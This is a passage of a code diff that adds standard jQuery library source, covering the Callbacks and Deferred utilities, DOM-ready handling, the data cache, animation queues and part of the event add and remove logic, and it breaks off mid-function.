+			if ( rparentsprev.test( name ) ) {
+				matched.reverse();
+			}
+		}
+
+		return this.pushStack( matched );
+	};
+});
+var rnotwhite = (/\S+/g);
+
+
+
+// String to Object options format cache
+var optionsCache = {};
+
+// Convert String-formatted options into Object-formatted ones and store in cache
+function createOptions( options ) {
+	var object = optionsCache[ options ] = {};
+	jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {
+		object[ flag ] = true;
+	});
+	return object;
+}
+
+/*
+ * Create a callback list using the following parameters:
+ *
+ *	options: an optional list of space-separated options that will change how
+ *			the callback list behaves or a more traditional option object
+ *
+ * By default a callback list will act like an event callback list and can be
+ * "fired" multiple times.
+ *
+ * Possible options:
+ *
+ *	once:			will ensure the callback list can only be fired once (like a Deferred)
+ *
+ *	memory:			will keep track of previous values and will call any callback added
+ *					after the list has been fired right away with the latest "memorized"
+ *					values (like a Deferred)
+ *
+ *	unique:			will ensure a callback can only be added once (no duplicate in the list)
+ *
+ *	stopOnFalse:	interrupt callings when a callback returns false
+ *
+ */
+jQuery.Callbacks = function( options ) {
+
+	// Convert options from String-formatted to Object-formatted if needed
+	// (we check in cache first)
+	options = typeof options === "string" ?
+		( optionsCache[ options ] || createOptions( options ) ) :
+		jQuery.extend( {}, options );
+
+	var // Last fire value (for non-forgettable lists)
+		memory,
+		// Flag to know if list was already fired
+		fired,
+		// Flag to know if list is currently firing
+		firing,
+		// First callback to fire (used internally by add and fireWith)
+		firingStart,
+		// End of the loop when firing
+		firingLength,
+		// Index of currently firing callback (modified by remove if needed)
+		firingIndex,
+		// Actual callback list
+		list = [],
+		// Stack of fire calls for repeatable lists
+		stack = !options.once && [],
+		// Fire callbacks
+		fire = function( data ) {
+			memory = options.memory && data;
+			fired = true;
+			firingIndex = firingStart || 0;
+			firingStart = 0;
+			firingLength = list.length;
+			firing = true;
+			for ( ; list && firingIndex < firingLength; firingIndex++ ) {
+				if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {
+					memory = false; // To prevent further calls using add
+					break;
+				}
+			}
+			firing = false;
+			if ( list ) {
+				if ( stack ) {
+					if ( stack.length ) {
+						fire( stack.shift() );
+					}
+				} else if ( memory ) {
+					list = [];
+				} else {
+					self.disable();
+				}
+			}
+		},
+		// Actual Callbacks object
+		self = {
+			// Add a callback or a collection of callbacks to the list
+			add: function() {
+				if ( list ) {
+					// First, we save the current length
+					var start = list.length;
+					(function add( args ) {
+						jQuery.each( args, function( _, arg ) {
+							var type = jQuery.type( arg );
+							if ( type === "function" ) {
+								if ( !options.unique || !self.has( arg ) ) {
+									list.push( arg );
+								}
+							} else if ( arg && arg.length && type !== "string" ) {
+								// Inspect recursively
+								add( arg );
+							}
+						});
+					})( arguments );
+					// Do we need to add the callbacks to the
+					// current firing batch?
+					if ( firing ) {
+						firingLength = list.length;
+					// With memory, if we're not firing then
+					// we should call right away
+					} else if ( memory ) {
+						firingStart = start;
+						fire( memory );
+					}
+				}
+				return this;
+			},
+			// Remove a callback from the list
+			remove: function() {
+				if ( list ) {
+					jQuery.each( arguments, function( _, arg ) {
+						var index;
+						while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
+							list.splice( index, 1 );
+							// Handle firing indexes
+							if ( firing ) {
+								if ( index <= firingLength ) {
+									firingLength--;
+								}
+								if ( index <= firingIndex ) {
+									firingIndex--;
+								}
+							}
+						}
+					});
+				}
+				return this;
+			},
+			// Check if a given callback is in the list.
+			// If no argument is given, return whether or not list has callbacks attached.
+			has: function( fn ) {
+				return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length );
+			},
+			// Remove all callbacks from the list
+			empty: function() {
+				list = [];
+				firingLength = 0;
+				return this;
+			},
+			// Have the list do nothing anymore
+			disable: function() {
+				list = stack = memory = undefined;
+				return this;
+			},
+			// Is it disabled?
+			disabled: function() {
+				return !list;
+			},
+			// Lock the list in its current state
+			lock: function() {
+				stack = undefined;
+				if ( !memory ) {
+					self.disable();
+				}
+				return this;
+			},
+			// Is it locked?
+			locked: function() {
+				return !stack;
+			},
+			// Call all callbacks with the given context and arguments
+			fireWith: function( context, args ) {
+				if ( list && ( !fired || stack ) ) {
+					args = args || [];
+					args = [ context, args.slice ? args.slice() : args ];
+					if ( firing ) {
+						stack.push( args );
+					} else {
+						fire( args );
+					}
+				}
+				return this;
+			},
+			// Call all the callbacks with the given arguments
+			fire: function() {
+				self.fireWith( this, arguments );
+				return this;
+			},
+			// To know if the callbacks have already been called at least once
+			fired: function() {
+				return !!fired;
+			}
+		};
+
+	return self;
+};
+
+
+jQuery.extend({
+
+	Deferred: function( func ) {
+		var tuples = [
+				// action, add listener, listener list, final state
+				[ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ],
+				[ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ],
+				[ "notify", "progress", jQuery.Callbacks("memory") ]
+			],
+			state = "pending",
+			promise = {
+				state: function() {
+					return state;
+				},
+				always: function() {
+					deferred.done( arguments ).fail( arguments );
+					return this;
+				},
+				then: function( /* fnDone, fnFail, fnProgress */ ) {
+					var fns = arguments;
+					return jQuery.Deferred(function( newDefer ) {
+						jQuery.each( tuples, function( i, tuple ) {
+							var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
+							// deferred[ done | fail | progress ] for forwarding actions to newDefer
+							deferred[ tuple[1] ](function() {
+								var returned = fn && fn.apply( this, arguments );
+								if ( returned && jQuery.isFunction( returned.promise ) ) {
+									returned.promise()
+										.done( newDefer.resolve )
+										.fail( newDefer.reject )
+										.progress( newDefer.notify );
+								} else {
+									newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments );
+								}
+							});
+						});
+						fns = null;
+					}).promise();
+				},
+				// Get a promise for this deferred
+				// If obj is provided, the promise aspect is added to the object
+				promise: function( obj ) {
+					return obj != null ? jQuery.extend( obj, promise ) : promise;
+				}
+			},
+			deferred = {};
+
+		// Keep pipe for back-compat
+		promise.pipe = promise.then;
+
+		// Add list-specific methods
+		jQuery.each( tuples, function( i, tuple ) {
+			var list = tuple[ 2 ],
+				stateString = tuple[ 3 ];
+
+			// promise[ done | fail | progress ] = list.add
+			promise[ tuple[1] ] = list.add;
+
+			// Handle state
+			if ( stateString ) {
+				list.add(function() {
+					// state = [ resolved | rejected ]
+					state = stateString;
+
+				// [ reject_list | resolve_list ].disable; progress_list.lock
+				}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
+			}
+
+			// deferred[ resolve | reject | notify ]
+			deferred[ tuple[0] ] = function() {
+				deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments );
+				return this;
+			};
+			deferred[ tuple[0] + "With" ] = list.fireWith;
+		});
+
+		// Make the deferred a promise
+		promise.promise( deferred );
+
+		// Call given func if any
+		if ( func ) {
+			func.call( deferred, deferred );
+		}
+
+		// All done!
+		return deferred;
+	},
+
+	// Deferred helper
+	when: function( subordinate /* , ..., subordinateN */ ) {
+		var i = 0,
+			resolveValues = slice.call( arguments ),
+			length = resolveValues.length,
+
+			// the count of uncompleted subordinates
+			remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
+
+			// the master Deferred. If resolveValues consist of only a single Deferred, just use that.
+			deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
+
+			// Update function for both resolve and progress values
+			updateFunc = function( i, contexts, values ) {
+				return function( value ) {
+					contexts[ i ] = this;
+					values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
+					if ( values === progressValues ) {
+						deferred.notifyWith( contexts, values );
+					} else if ( !( --remaining ) ) {
+						deferred.resolveWith( contexts, values );
+					}
+				};
+			},
+
+			progressValues, progressContexts, resolveContexts;
+
+		// Add listeners to Deferred subordinates; treat others as resolved
+		if ( length > 1 ) {
+			progressValues = new Array( length );
+			progressContexts = new Array( length );
+			resolveContexts = new Array( length );
+			for ( ; i < length; i++ ) {
+				if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
+					resolveValues[ i ].promise()
+						.done( updateFunc( i, resolveContexts, resolveValues ) )
+						.fail( deferred.reject )
+						.progress( updateFunc( i, progressContexts, progressValues ) );
+				} else {
+					--remaining;
+				}
+			}
+		}
+
+		// If we're not waiting on anything, resolve the master
+		if ( !remaining ) {
+			deferred.resolveWith( resolveContexts, resolveValues );
+		}
+
+		return deferred.promise();
+	}
+});
+
+
+// The deferred used on DOM ready
+var readyList;
+
+jQuery.fn.ready = function( fn ) {
+	// Add the callback
+	jQuery.ready.promise().done( fn );
+
+	return this;
+};
+
+jQuery.extend({
+	// Is the DOM ready to be used? Set to true once it occurs.
+	isReady: false,
+
+	// A counter to track how many items to wait for before
+	// the ready event fires. See #6781
+	readyWait: 1,
+
+	// Hold (or release) the ready event
+	holdReady: function( hold ) {
+		if ( hold ) {
+			jQuery.readyWait++;
+		} else {
+			jQuery.ready( true );
+		}
+	},
+
+	// Handle when the DOM is ready
+	ready: function( wait ) {
+
+		// Abort if there are pending holds or we're already ready
+		if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
+			return;
+		}
+
+		// Remember that the DOM is ready
+		jQuery.isReady = true;
+
+		// If a normal DOM Ready event fired, decrement, and wait if need be
+		if ( wait !== true && --jQuery.readyWait > 0 ) {
+			return;
+		}
+
+		// If there are functions bound, to execute
+		readyList.resolveWith( document, [ jQuery ] );
+
+		// Trigger any bound ready events
+		if ( jQuery.fn.triggerHandler ) {
+			jQuery( document ).triggerHandler( "ready" );
+			jQuery( document ).off( "ready" );
+		}
+	}
+});
+
+/**
+ * The ready event handler and self cleanup method
+ */
+function completed() {
+	document.removeEventListener( "DOMContentLoaded", completed, false );
+	window.removeEventListener( "load", completed, false );
+	jQuery.ready();
+}
+
+jQuery.ready.promise = function( obj ) {
+	if ( !readyList ) {
+
+		readyList = jQuery.Deferred();
+
+		// Catch cases where $(document).ready() is called after the browser event has already occurred.
+		// We once tried to use readyState "interactive" here, but it caused issues like the one
+		// discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15
+		if ( document.readyState === "complete" ) {
+			// Handle it asynchronously to allow scripts the opportunity to delay ready
+			setTimeout( jQuery.ready );
+
+		} else {
+
+			// Use the handy event callback
+			document.addEventListener( "DOMContentLoaded", completed, false );
+
+			// A fallback to window.onload, that will always work
+			window.addEventListener( "load", completed, false );
+		}
+	}
+	return readyList.promise( obj );
+};
+
+// Kick off the DOM ready check even if the user does not
+jQuery.ready.promise();
+
+
+
+
+// Multifunctional method to get and set values of a collection
+// The value/s can optionally be executed if it's a function
+var access = jQuery.access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
+	var i = 0,
+		len = elems.length,
+		bulk = key == null;
+
+	// Sets many values
+	if ( jQuery.type( key ) === "object" ) {
+		chainable = true;
+		for ( i in key ) {
+			jQuery.access( elems, fn, i, key[i], true, emptyGet, raw );
+		}
+
+	// Sets one value
+	} else if ( value !== undefined ) {
+		chainable = true;
+
+		if ( !jQuery.isFunction( value ) ) {
+			raw = true;
+		}
+
+		if ( bulk ) {
+			// Bulk operations run against the entire set
+			if ( raw ) {
+				fn.call( elems, value );
+				fn = null;
+
+			// ...except when executing function values
+			} else {
+				bulk = fn;
+				fn = function( elem, key, value ) {
+					return bulk.call( jQuery( elem ), value );
+				};
+			}
+		}
+
+		if ( fn ) {
+			for ( ; i < len; i++ ) {
+				fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) );
+			}
+		}
+	}
+
+	return chainable ?
+		elems :
+
+		// Gets
+		bulk ?
+			fn.call( elems ) :
+			len ? fn( elems[0], key ) : emptyGet;
+};
+
+
+/**
+ * Determines whether an object can have data
+ */
+jQuery.acceptData = function( owner ) {
+	// Accepts only:
+	//  - Node
+	//    - Node.ELEMENT_NODE
+	//    - Node.DOCUMENT_NODE
+	//  - Object
+	//    - Any
+	/* jshint -W018 */
+	return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
+};
+
+
+function Data() {
+	// Support: Android<4,
+	// Old WebKit does not have Object.preventExtensions/freeze method,
+	// return new empty object instead with no [[set]] accessor
+	Object.defineProperty( this.cache = {}, 0, {
+		get: function() {
+			return {};
+		}
+	});
+
+	this.expando = jQuery.expando + Data.uid++;
+}
+
+Data.uid = 1;
+Data.accepts = jQuery.acceptData;
+
+Data.prototype = {
+	key: function( owner ) {
+		// We can accept data for non-element nodes in modern browsers,
+		// but we should not, see #8335.
+		// Always return the key for a frozen object.
+		if ( !Data.accepts( owner ) ) {
+			return 0;
+		}
+
+		var descriptor = {},
+			// Check if the owner object already has a cache key
+			unlock = owner[ this.expando ];
+
+		// If not, create one
+		if ( !unlock ) {
+			unlock = Data.uid++;
+
+			// Secure it in a non-enumerable, non-writable property
+			try {
+				descriptor[ this.expando ] = { value: unlock };
+				Object.defineProperties( owner, descriptor );
+
+			// Support: Android<4
+			// Fallback to a less secure definition
+			} catch ( e ) {
+				descriptor[ this.expando ] = unlock;
+				jQuery.extend( owner, descriptor );
+			}
+		}
+
+		// Ensure the cache object
+		if ( !this.cache[ unlock ] ) {
+			this.cache[ unlock ] = {};
+		}
+
+		return unlock;
+	},
+	set: function( owner, data, value ) {
+		var prop,
+			// There may be an unlock assigned to this node,
+			// if there is no entry for this "owner", create one inline
+			// and set the unlock as though an owner entry had always existed
+			unlock = this.key( owner ),
+			cache = this.cache[ unlock ];
+
+		// Handle: [ owner, key, value ] args
+		if ( typeof data === "string" ) {
+			cache[ data ] = value;
+
+		// Handle: [ owner, { properties } ] args
+		} else {
+			// Fresh assignments by object are shallow copied
+			if ( jQuery.isEmptyObject( cache ) ) {
+				jQuery.extend( this.cache[ unlock ], data );
+			// Otherwise, copy the properties one-by-one to the cache object
+			} else {
+				for ( prop in data ) {
+					cache[ prop ] = data[ prop ];
+				}
+			}
+		}
+		return cache;
+	},
+	get: function( owner, key ) {
+		// Either a valid cache is found, or will be created.
+		// New caches will be created and the unlock returned,
+		// allowing direct access to the newly created
+		// empty data object. A valid owner object must be provided.
+		var cache = this.cache[ this.key( owner ) ];
+
+		return key === undefined ?
+			cache : cache[ key ];
+	},
+	access: function( owner, key, value ) {
+		var stored;
+		// In cases where either:
+		//
+		//   1. No key was specified
+		//   2. A string key was specified, but no value provided
+		//
+		// Take the "read" path and allow the get method to determine
+		// which value to return, respectively either:
+		//
+		//   1. The entire cache object
+		//   2. The data stored at the key
+		//
+		if ( key === undefined ||
+				((key && typeof key === "string") && value === undefined) ) {
+
+			stored = this.get( owner, key );
+
+			return stored !== undefined ?
+				stored : this.get( owner, jQuery.camelCase(key) );
+		}
+
+		// [*]When the key is not a string, or both a key and value
+		// are specified, set or extend (existing objects) with either:
+		//
+		//   1. An object of properties
+		//   2. A key and value
+		//
+		this.set( owner, key, value );
+
+		// Since the "set" path can have two possible entry points
+		// return the expected data based on which path was taken[*]
+		return value !== undefined ? value : key;
+	},
+	remove: function( owner, key ) {
+		var i, name, camel,
+			unlock = this.key( owner ),
+			cache = this.cache[ unlock ];
+
+		if ( key === undefined ) {
+			this.cache[ unlock ] = {};
+
+		} else {
+			// Support array or space separated string of keys
+			if ( jQuery.isArray( key ) ) {
+				// If "name" is an array of keys...
+				// When data is initially created, via ("key", "val") signature,
+				// keys will be converted to camelCase.
+				// Since there is no way to tell _how_ a key was added, remove
+				// both plain key and camelCase key. #12786
+				// This will only penalize the array argument path.
+				name = key.concat( key.map( jQuery.camelCase ) );
+			} else {
+				camel = jQuery.camelCase( key );
+				// Try the string as a key before any manipulation
+				if ( key in cache ) {
+					name = [ key, camel ];
+				} else {
+					// If a key with the spaces exists, use it.
+					// Otherwise, create an array by matching non-whitespace
+					name = camel;
+					name = name in cache ?
+						[ name ] : ( name.match( rnotwhite ) || [] );
+				}
+			}
+
+			i = name.length;
+			while ( i-- ) {
+				delete cache[ name[ i ] ];
+			}
+		}
+	},
+	hasData: function( owner ) {
+		return !jQuery.isEmptyObject(
+			this.cache[ owner[ this.expando ] ] || {}
+		);
+	},
+	discard: function( owner ) {
+		if ( owner[ this.expando ] ) {
+			delete this.cache[ owner[ this.expando ] ];
+		}
+	}
+};
+var data_priv = new Data();
+
+var data_user = new Data();
+
+
+
+//	Implementation Summary
+//
+//	1. Enforce API surface and semantic compatibility with 1.9.x branch
+//	2. Improve the module's maintainability by reducing the storage
+//		paths to a single mechanism.
+//	3. Use the same single mechanism to support "private" and "user" data.
+//	4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
+//	5. Avoid exposing implementation details on user objects (eg. expando properties)
+//	6. Provide a clear path for implementation upgrade to WeakMap in 2014
+
+var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
+	rmultiDash = /([A-Z])/g;
+
+function dataAttr( elem, key, data ) {
+	var name;
+
+	// If nothing was found internally, try to fetch any
+	// data from the HTML5 data-* attribute
+	if ( data === undefined && elem.nodeType === 1 ) {
+		name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
+		data = elem.getAttribute( name );
+
+		if ( typeof data === "string" ) {
+			try {
+				data = data === "true" ? true :
+					data === "false" ? false :
+					data === "null" ? null :
+					// Only convert to a number if it doesn't change the string
+					+data + "" === data ? +data :
+					rbrace.test( data ) ? jQuery.parseJSON( data ) :
+					data;
+			} catch( e ) {}
+
+			// Make sure we set the data so it isn't changed later
+			data_user.set( elem, key, data );
+		} else {
+			data = undefined;
+		}
+	}
+	return data;
+}
+
+jQuery.extend({
+	hasData: function( elem ) {
+		return data_user.hasData( elem ) || data_priv.hasData( elem );
+	},
+
+	data: function( elem, name, data ) {
+		return data_user.access( elem, name, data );
+	},
+
+	removeData: function( elem, name ) {
+		data_user.remove( elem, name );
+	},
+
+	// TODO: Now that all calls to _data and _removeData have been replaced
+	// with direct calls to data_priv methods, these can be deprecated.
+	_data: function( elem, name, data ) {
+		return data_priv.access( elem, name, data );
+	},
+
+	_removeData: function( elem, name ) {
+		data_priv.remove( elem, name );
+	}
+});
+
+jQuery.fn.extend({
+	data: function( key, value ) {
+		var i, name, data,
+			elem = this[ 0 ],
+			attrs = elem && elem.attributes;
+
+		// Gets all values
+		if ( key === undefined ) {
+			if ( this.length ) {
+				data = data_user.get( elem );
+
+				if ( elem.nodeType === 1 && !data_priv.get( elem, "hasDataAttrs" ) ) {
+					i = attrs.length;
+					while ( i-- ) {
+
+						// Support: IE11+
+						// The attrs elements can be null (#14894)
+						if ( attrs[ i ] ) {
+							name = attrs[ i ].name;
+							if ( name.indexOf( "data-" ) === 0 ) {
+								name = jQuery.camelCase( name.slice(5) );
+								dataAttr( elem, name, data[ name ] );
+							}
+						}
+					}
+					data_priv.set( elem, "hasDataAttrs", true );
+				}
+			}
+
+			return data;
+		}
+
+		// Sets multiple values
+		if ( typeof key === "object" ) {
+			return this.each(function() {
+				data_user.set( this, key );
+			});
+		}
+
+		return access( this, function( value ) {
+			var data,
+				camelKey = jQuery.camelCase( key );
+
+			// The calling jQuery object (element matches) is not empty
+			// (and therefore has an element appears at this[ 0 ]) and the
+			// `value` parameter was not undefined. An empty jQuery object
+			// will result in `undefined` for elem = this[ 0 ] which will
+			// throw an exception if an attempt to read a data cache is made.
+			if ( elem && value === undefined ) {
+				// Attempt to get data from the cache
+				// with the key as-is
+				data = data_user.get( elem, key );
+				if ( data !== undefined ) {
+					return data;
+				}
+
+				// Attempt to get data from the cache
+				// with the key camelized
+				data = data_user.get( elem, camelKey );
+				if ( data !== undefined ) {
+					return data;
+				}
+
+				// Attempt to "discover" the data in
+				// HTML5 custom data-* attrs
+				data = dataAttr( elem, camelKey, undefined );
+				if ( data !== undefined ) {
+					return data;
+				}
+
+				// We tried really hard, but the data doesn't exist.
+				return;
+			}
+
+			// Set the data...
+			this.each(function() {
+				// First, attempt to store a copy or reference of any
+				// data that might've been store with a camelCased key.
+				var data = data_user.get( this, camelKey );
+
+				// For HTML5 data-* attribute interop, we have to
+				// store property names with dashes in a camelCase form.
+				// This might not apply to all properties...*
+				data_user.set( this, camelKey, value );
+
+				// *... In the case of properties that might _actually_
+				// have dashes, we need to also store a copy of that
+				// unchanged property.
+				if ( key.indexOf("-") !== -1 && data !== undefined ) {
+					data_user.set( this, key, value );
+				}
+			});
+		}, null, value, arguments.length > 1, null, true );
+	},
+
+	removeData: function( key ) {
+		return this.each(function() {
+			data_user.remove( this, key );
+		});
+	}
+});
+
+
+jQuery.extend({
+	queue: function( elem, type, data ) {
+		var queue;
+
+		if ( elem ) {
+			type = ( type || "fx" ) + "queue";
+			queue = data_priv.get( elem, type );
+
+			// Speed up dequeue by getting out quickly if this is just a lookup
+			if ( data ) {
+				if ( !queue || jQuery.isArray( data ) ) {
+					queue = data_priv.access( elem, type, jQuery.makeArray(data) );
+				} else {
+					queue.push( data );
+				}
+			}
+			return queue || [];
+		}
+	},
+
+	dequeue: function( elem, type ) {
+		type = type || "fx";
+
+		var queue = jQuery.queue( elem, type ),
+			startLength = queue.length,
+			fn = queue.shift(),
+			hooks = jQuery._queueHooks( elem, type ),
+			next = function() {
+				jQuery.dequeue( elem, type );
+			};
+
+		// If the fx queue is dequeued, always remove the progress sentinel
+		if ( fn === "inprogress" ) {
+			fn = queue.shift();
+			startLength--;
+		}
+
+		if ( fn ) {
+
+			// Add a progress sentinel to prevent the fx queue from being
+			// automatically dequeued
+			if ( type === "fx" ) {
+				queue.unshift( "inprogress" );
+			}
+
+			// Clear up the last queue stop function
+			delete hooks.stop;
+			fn.call( elem, next, hooks );
+		}
+
+		if ( !startLength && hooks ) {
+			hooks.empty.fire();
+		}
+	},
+
+	// Not public - generate a queueHooks object, or return the current one
+	_queueHooks: function( elem, type ) {
+		var key = type + "queueHooks";
+		return data_priv.get( elem, key ) || data_priv.access( elem, key, {
+			empty: jQuery.Callbacks("once memory").add(function() {
+				data_priv.remove( elem, [ type + "queue", key ] );
+			})
+		});
+	}
+});
+
+jQuery.fn.extend({
+	queue: function( type, data ) {
+		var setter = 2;
+
+		if ( typeof type !== "string" ) {
+			data = type;
+			type = "fx";
+			setter--;
+		}
+
+		if ( arguments.length < setter ) {
+			return jQuery.queue( this[0], type );
+		}
+
+		return data === undefined ?
+			this :
+			this.each(function() {
+				var queue = jQuery.queue( this, type, data );
+
+				// Ensure a hooks for this queue
+				jQuery._queueHooks( this, type );
+
+				if ( type === "fx" && queue[0] !== "inprogress" ) {
+					jQuery.dequeue( this, type );
+				}
+			});
+	},
+	dequeue: function( type ) {
+		return this.each(function() {
+			jQuery.dequeue( this, type );
+		});
+	},
+	clearQueue: function( type ) {
+		return this.queue( type || "fx", [] );
+	},
+	// Get a promise resolved when queues of a certain type
+	// are emptied (fx is the type by default)
+	promise: function( type, obj ) {
+		var tmp,
+			count = 1,
+			defer = jQuery.Deferred(),
+			elements = this,
+			i = this.length,
+			resolve = function() {
+				if ( !( --count ) ) {
+					defer.resolveWith( elements, [ elements ] );
+				}
+			};
+
+		if ( typeof type !== "string" ) {
+			obj = type;
+			type = undefined;
+		}
+		type = type || "fx";
+
+		while ( i-- ) {
+			tmp = data_priv.get( elements[ i ], type + "queueHooks" );
+			if ( tmp && tmp.empty ) {
+				count++;
+				tmp.empty.add( resolve );
+			}
+		}
+		resolve();
+		return defer.promise( obj );
+	}
+});
+var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
+
+var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
+
+var isHidden = function( elem, el ) {
+		// isHidden might be called from jQuery#filter function;
+		// in that case, element will be second argument
+		elem = el || elem;
+		return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem );
+	};
+
+var rcheckableType = (/^(?:checkbox|radio)$/i);
+
+
+
+(function() {
+	var fragment = document.createDocumentFragment(),
+		div = fragment.appendChild( document.createElement( "div" ) ),
+		input = document.createElement( "input" );
+
+	// Support: Safari<=5.1
+	// Check state lost if the name is set (#11217)
+	// Support: Windows Web Apps (WWA)
+	// `name` and `type` must use .setAttribute for WWA (#14901)
+	input.setAttribute( "type", "radio" );
+	input.setAttribute( "checked", "checked" );
+	input.setAttribute( "name", "t" );
+
+	div.appendChild( input );
+
+	// Support: Safari<=5.1, Android<4.2
+	// Older WebKit doesn't clone checked state correctly in fragments
+	support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
+
+	// Support: IE<=11+
+	// Make sure textarea (and checkbox) defaultValue is properly cloned
+	div.innerHTML = "<textarea>x</textarea>";
+	support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
+})();
+var strundefined = typeof undefined;
+
+
+
+support.focusinBubbles = "onfocusin" in window;
+
+
+var
+	rkeyEvent = /^key/,
+	rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
+	rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
+	rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
+
+function returnTrue() {
+	return true;
+}
+
+function returnFalse() {
+	return false;
+}
+
+function safeActiveElement() {
+	try {
+		return document.activeElement;
+	} catch ( err ) { }
+}
+
+/*
+ * Helper functions for managing events -- not part of the public interface.
+ * Props to Dean Edwards' addEvent library for many of the ideas.
+ */
+jQuery.event = {
+
+	global: {},
+
+	add: function( elem, types, handler, data, selector ) {
+
+		var handleObjIn, eventHandle, tmp,
+			events, t, handleObj,
+			special, handlers, type, namespaces, origType,
+			elemData = data_priv.get( elem );
+
+		// Don't attach events to noData or text/comment nodes (but allow plain objects)
+		if ( !elemData ) {
+			return;
+		}
+
+		// Caller can pass in an object of custom data in lieu of the handler
+		if ( handler.handler ) {
+			handleObjIn = handler;
+			handler = handleObjIn.handler;
+			selector = handleObjIn.selector;
+		}
+
+		// Make sure that the handler has a unique ID, used to find/remove it later
+		if ( !handler.guid ) {
+			handler.guid = jQuery.guid++;
+		}
+
+		// Init the element's event structure and main handler, if this is the first
+		if ( !(events = elemData.events) ) {
+			events = elemData.events = {};
+		}
+		if ( !(eventHandle = elemData.handle) ) {
+			eventHandle = elemData.handle = function( e ) {
+				// Discard the second event of a jQuery.event.trigger() and
+				// when an event is called after a page has unloaded
+				return typeof jQuery !== strundefined && jQuery.event.triggered !== e.type ?
+					jQuery.event.dispatch.apply( elem, arguments ) : undefined;
+			};
+		}
+
+		// Handle multiple events separated by a space
+		types = ( types || "" ).match( rnotwhite ) || [ "" ];
+		t = types.length;
+		while ( t-- ) {
+			tmp = rtypenamespace.exec( types[t] ) || [];
+			type = origType = tmp[1];
+			namespaces = ( tmp[2] || "" ).split( "." ).sort();
+
+			// There *must* be a type, no attaching namespace-only handlers
+			if ( !type ) {
+				continue;
+			}
+
+			// If event changes its type, use the special event handlers for the changed type
+			special = jQuery.event.special[ type ] || {};
+
+			// If selector defined, determine special event api type, otherwise given type
+			type = ( selector ? special.delegateType : special.bindType ) || type;
+
+			// Update special based on newly reset type
+			special = jQuery.event.special[ type ] || {};
+
+			// handleObj is passed to all event handlers
+			handleObj = jQuery.extend({
+				type: type,
+				origType: origType,
+				data: data,
+				handler: handler,
+				guid: handler.guid,
+				selector: selector,
+				needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
+				namespace: namespaces.join(".")
+			}, handleObjIn );
+
+			// Init the event handler queue if we're the first
+			if ( !(handlers = events[ type ]) ) {
+				handlers = events[ type ] = [];
+				handlers.delegateCount = 0;
+
+				// Only use addEventListener if the special events handler returns false
+				if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
+					if ( elem.addEventListener ) {
+						elem.addEventListener( type, eventHandle, false );
+					}
+				}
+			}
+
+			if ( special.add ) {
+				special.add.call( elem, handleObj );
+
+				if ( !handleObj.handler.guid ) {
+					handleObj.handler.guid = handler.guid;
+				}
+			}
+
+			// Add to the element's handler list, delegates in front
+			if ( selector ) {
+				handlers.splice( handlers.delegateCount++, 0, handleObj );
+			} else {
+				handlers.push( handleObj );
+			}
+
+			// Keep track of which events have ever been used, for event optimization
+			jQuery.event.global[ type ] = true;
+		}
+
+	},
+
+	// Detach an event or set of events from an element
+	remove: function( elem, types, handler, selector, mappedTypes ) {
+
+		var j, origCount, tmp,
+			events, t, handleObj,
+			special, handlers, type, namespaces, origType,
+			elemData = data_priv.hasData( elem ) && data_priv.get( elem );
+
+		if ( !elemData || !(events = elemData.events) ) {
+			return;
+		}
+
+		// Once for each type.namespace in types; type may be omitted
+		types = ( types || "" ).match( rnotwhite ) || [ "" ];
+		t = types.length;
+		while ( t-- ) {
+			tmp = rtypenamespace.exec( types[t] ) || [];
+			type = origType = tmp[1];
+			namespaces = ( tmp[2] || "" ).split( "." ).sort();
+
+			// Unbind all events (on this namespace, if provided) for the element
+			if ( !type ) {
+				for ( type in events ) {
+					jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
+				}
+				continue;
+			}
+
+			special = jQuery.event.special[ type ] || {};
+			type = ( selector ? special.delegateType : special.bindType ) || type;
+			handlers = events[ type ] || [];
+			tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" );
+
+			// Remove matching events
+			origCount = j = handlers.length;
+			while ( j-- ) {
+				handleObj = handlers[ j ];
+
+				if ( ( mappedTypes || origType === handleObj.origType ) &&
+					( !handler || handler.guid === handleObj.guid ) &&
+					( !tmp || tmp.test( handleObj.namespace ) ) &&
+					( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
+					handlers.splice( j, 1 );
+
+					if ( handleObj.selector ) {
+						handlers.delegateCount--;
+					}
+					if ( special.remove ) {
+						special.remove.call( elem, handleObj );
+					}
+				}
+			}
+
+			// Remove generic event handler if we removed something and no more handlers exist
+			// (avoids potential for endless recursion during removal of special event handlers)
